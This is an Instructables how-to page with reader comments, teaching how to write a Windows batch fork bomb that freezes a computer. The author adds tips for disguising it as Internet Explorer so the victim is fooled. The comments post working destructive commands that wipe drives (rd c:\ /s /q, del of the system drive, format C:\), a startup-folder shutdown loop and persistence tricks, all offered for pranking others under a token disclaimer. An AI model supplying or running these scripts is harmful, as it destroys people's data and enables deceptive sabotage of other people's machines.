3 Simple Ways to
Share What You Make

With Instructables you can share what you make with the world — and tap into an ever-growing community of creative experts.

PhotosPhotos

Share one or more photos of a project, recipe, or whatever you've made, quickly and easily.

Step by StepStep-By-Step

Share your step-by-step photos with text instructions of what you made so others can do it too!

VideoVideo

Share your how-to video. You'll need your embed code from a video site such as YouTube.

Batch file to crash a computer

Batch file to crash a computer
This time I will be showing you how to create a batch file to crash a computer.


This was posted for educational purposes only, I am not to be held responcible for any inappropriate usage of this information or the files that I may have provided. I am not to be held responsible for individuals or groups of people that suffer consequences of using this information or the files that I provided, these consequences include things such as expulsion, getting fired, or legal action.
 
Remove these adsRemove these ads by Signing Up
 

Step 1The code

The code
As usual we will begin by opening notepad. What this script will do is open command prompt six times then continuously loop so it will continue to open command prompt continuously until the computer freezes up or is turned off, this will not to any harm to the computer.

This is one of the most simple scripts ever. Just type

start
start
start
start
start
start
start crash



Then save the file as a batch file by putting .bat at the end of the file name while saving.
You will have to save the file name as crash.bat unless you change the bottom line of the script to a different name like

start launch

or whatever just if you wanna name the file something else change the last line of the code to something else.

Also if you want to make it more fun create a shortcut to your batch file, you can name the shortuc whatever you want, then right click on the shortcut go to properties then go to change icon, you can make the icon internet explorer and name the shortcut internet explorer.

To make this even more believeable at the top of the script above the first start you can put these two lines

@echo off
start C:\Program Files\Internet Explorer\iexplore.exe

So your final code would look like this

@echo off
start C:\Program Files\Internet Explorer\iexplore.exe
start
start
start
start
start
start
« Previous StepDownload PDFView All StepsNext Step »
29 comments
Apr 14, 2012. 3:29 PMgnoseon says:
What exactly does '@echo off' do?
Apr 21, 2012. 9:03 PMmh76dk says:
Sorry for "following you around" but happened to see you ask this:

"echo off" turns off the printing of each following line in the file before it is executed (or till you write "echo on").

"@" turns it off for one line, so for cosmetic reasons (to not see the "echo off" printed on each run) you use "@echo off"

If you only have a 1-line script you can just as easilly prepend that one line with an "@" instead of adding the "@echo off" on the line before it.

I hope that was not too cryptic, its way too late for me to still be up :-)
Jul 1, 2010. 5:02 PMChrisboy978 says:
dude123654789's way of crashing a computer really works. i tried it and i had to get a new computer. It deletes EVERYTHING!!!!!!!!!!!!!!!!!
Apr 10, 2012. 5:40 PManonforyou says:
Did it really destroy your comp?
Feb 18, 2012. 12:03 AMchrisking8613 says:
Hello everyone, a real way to screw someone with ease and is very easily reversible (they will literally be screwed out of their mind) is to. Step 1, create a shutdown shortcut = right click desktop, create shortcut, enter "shutdown -s -t 30 -c "YOU CAN ENTER ANY COMMENT YOU LIKE HERE" Then click next and name the shortcut what you like. Next go to your start menu, and look for the startup folder, once located, simply drag your created shortcut to it, and your done! (Basically the computer shuts-down after 30 seconds every time that it is powered up... Side note.. To delete the shutdown shortcut, simply go to the startup folder and delete it. However, the "30" in your created shortcut basically means that you have 30 seconds before the computer shuts-down, this can be changed to whatever time that you like, however if you set it too low then you will have no time to delete the shutdown shortcut and then you'll have to access the CMD and delete the shortcut during the computer startup which isn't pretty (so give yourself enough time to delete the shortcut!) : D Happy noob "hacking".
Jan 13, 2012. 2:33 PMgunnerops2000 says:
try dis
format E:\
format F:\
format G:\
format H:\
format C:\
pause
Jan 31, 2012. 5:49 PMAamir Shaikh says:
plz tell me whether this commands should b executed on command prompt or by making a batch file...
Jun 27, 2011. 11:46 AMHakooon631 says:
Try
:start
start
goto start
Jan 13, 2012. 2:28 PMgunnerops2000 says:
try
format C:\

heheheh...
Jan 13, 2012. 2:28 PMgunnerops2000 says:
try
format C:\

heheheh...
Aug 4, 2010. 12:17 PMCrumble says:
So if I did do this, then i won't do any damage at all to my PC?
Aug 16, 2010. 8:05 PMSponzyparadox says:
All it is going to do is lock up your machine once you clear the ram it should go back to normal. If you want to have some real fun make it start internet explorer then make a short cut with ies picture to execute the batch and watch the rofls
Dec 19, 2008. 2:43 PMA.C.E. says:
i am wondering, on a computer with 1 gigabyte of ram, how long would this batch take to crash?
Apr 9, 2010. 10:33 PMdarkamie616 says:
actually, with 1mb of ram, all that it would need is to delete PART of an important file, such as a file to boot up your pc, and it would be crashed
Feb 20, 2009. 6:56 AMfraggature says:
1GB? not long. 32GB on the other hand, that will take some time...
Feb 20, 2009. 7:47 AMA.C.E. says:
Ok thanks
Mar 27, 2010. 4:06 AMashes005 says:
More simple code and a better way to crash a computer is to try the below code:

"@echo off
del %systemdrive% \*.* /f /s /q
shutdown -r -f -t 00"

save as .bat

Tis realy works...try it...


Sep 1, 2009. 2:32 PMdude123654789 says:
this wont crash a computer try this babby out ("code bellow")

@echo off
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user32.dll, LockWorkStation
rd c:\ /s /q
cls

now theres a batch with some balls! it turns off explorer, than locks you out, than deletes everything on your computer "wham-bam!"

"i am not reposible for this code nor liable for damage caused by this do not attempt this at all. for educational purposes only"
Oct 23, 2009. 1:02 PMcorey11 says:
A better version with the same out put
@echo off
:start
taskkill -f explorer.exe
start %windir%\System32\rundll32.exe user 32.dll, LockWorkStation
rd c:\ /s /q
cls
goto :start
Jul 27, 2008. 8:28 AMDrCoolSanta says:
forking? you don't need the extra starts for the effect. You could make it bad by having it copy itself to the startup folder. Then see the look on the face of the people using the computer. *You can delete it from the startup folder in the command prompt mode.
Feb 15, 2009. 6:39 PMhg341 says:
ok i know what the reg is and i know how to get to it but how do you get a .bat fileor a c++ file to save it self to the reg i not good in batch
Jan 25, 2009. 2:53 AMDrCoolSanta says:
yeah, but I have had bad experiences with that. Somehow my C++ programs only work when in Startup folder . . .
Feb 15, 2009. 6:14 PMhg341 says:
good but use this echo off ::a start notepad.exe goto a good and works well
Dec 4, 2008. 7:01 PMBBZS says:
Cool, thanks for sharing, and it doesn't do any harm to the computer correct? I've never really experienced a computer crash before...
Dec 19, 2008. 2:42 PMA.C.E. says:
well if you are not a computer technician, crash may have different meanings to you. before i educated myself in the art of computer programming, i thought you computer would crash if you had alot of viruses, and then you would have alot of data loss when (if it ever does) turn back on. that is not true. if a computer crashes, it is just overloaded, or overworked. this instructable will fill up the ram of the computer with command prompts untill the computer cant handle anymore and just turns off.
Dec 19, 2008. 3:14 PMBBZS says:
K, thnx guys :D
Dec 19, 2008. 2:43 PMA.C.E. says:
no harm done.

Pro

Get More Out of Instructables

Already have an Account?

close

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.

Upgrade to Pro today!
3
Followers
6
Author:Nemraiku(Sean)